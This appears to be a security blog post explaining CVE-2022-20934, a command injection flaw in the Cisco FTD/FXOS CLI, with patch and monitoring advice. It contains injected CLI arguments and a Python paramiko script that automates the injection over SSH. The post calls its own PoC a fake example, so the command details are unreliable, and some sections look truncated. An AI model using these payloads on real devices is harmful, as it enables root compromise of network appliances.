In November 2022, Cisco disclosed CVE-2022-20934, a vulnerability that lets authenticated local attackers run arbitrary root commands through the Command-Line Interface (CLI) of Cisco Firepower Threat Defense (FTD) and Cisco FXOS Software. If an attacker gets local administrator access, they can escape the restricted shell and potentially take over the whole device.

In this deep-dive, we’ll unravel how the bug works, showcase a proof-of-concept, and provide simple strategies to defend your systems.

What is CVE-2022-20934?

The heart of CVE-2022-20934 is improper input validation in certain CLI commands of affected Cisco products. In other words, the software doesn’t correctly check what users type as input.

Cisco Firepower Threat Defense (FTD) Software: All releases prior to fixed versions

*Check the Cisco advisory for a full product list and fixed versions: Cisco CVE-2022-20934 Advisory*

The Root Cause

Cisco’s FTD and FXOS software often use a restricted shell (>) to prevent administrators from directly running system commands—even after logging in as admin. However, certain CLI commands failed to sanitize user-supplied arguments.

This opened a door where attackers could craft input to include shell metacharacters (like ;, &&, or |) and append arbitrary Linux commands. Because these user arguments are passed to underlying system tools, the attacker’s code gets executed as root.

Example Attack Flow

1. Local attacker logs in as an admin over SSH/console.

Exploit Details and Proof of Concept

Disclaimer: The following code is for educational purposes only. Do not test on any system without explicit permission.

Let’s use a fake example based on Cisco FTD’s CLI vulnerability patterns.

Suppose there’s a command like this

> system generate-troubleshoot <file-name>

If the argument <file-name> is not sanitized, an attacker could do

system generate-troubleshoot normal.log;id;uname -a

Which the backend might interpret exactly as

/bin/generate-troubleshoot normal.log;id;uname -a

The result:

normal.log gets generated as expected.

- The commands id and uname -a run as root and display their results or leak them into log files retrievable by the attacker.

Example Session

> system generate-troubleshoot exploit.log;touch /tmp/pwned;ls /tmp

A new troubleshooting file is generated as normal (exploit.log).

- The file /tmp/pwned is created by root.
- /tmp directory is listed (the attacker may see the result in the output or find it in logs).

Here’s a sample Python script showing how an attacker could automate exploitation

import paramiko

host = '192.168.56.10'
port = 22
username = 'admin'
password = 'Pa$$wrd!'

# The malicious payload
payload = 'test.log;id;whoami;uname -a'

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(host, port, username, password)

# Run the vulnerable command
stdin, stdout, stderr = ssh.exec_command(f'system generate-troubleshoot {payload}\n')
print(stdout.read().decode())
print(stderr.read().decode())

ssh.close()

Note: You would need admin credentials to do this.

Installs backdoors, steals sensitive configs, disables security checks, or even bricks the device.

Why is this dangerous? Cisco security appliances protect entire networks. If compromised, the whole perimeter is at risk.

Apply the latest updates from Cisco:

Cisco Software Download Center

See Cisco’s official advisory for fixed versions:

Cisco CVE-2022-20934 Advisory

Monitoring

- Audit CLI command logs for suspicious command injection patterns (like ;, &&, or | in arguments).

References

- Official Cisco Security Advisory for CVE-2022-20934
- Cisco FXOS Command Reference

Relevant community discussions:

- Full Disclosure Mailing List Archive (search for "CVE-2022-20934")

Summary

CVE-2022-20934 is a serious flaw allowing local admin attackers to run any command as root on Cisco FTD and FXOS devices via unsanitized CLI commands. Although it requires valid admin credentials, the risk is critical due to the power and sensitivity of network appliances.

What should you do?  
Patch immediately. Lock down shell access. Monitor for suspicious CLI usage. Don’t leave these critical systems at risk!


*Stay tuned and always keep your appliances patched. Security is everyone’s responsibility!*

Timeline

Published on: 11/15/2022 21:15:00 UTC
Last modified on: 11/29/2022 14:13:00 UTC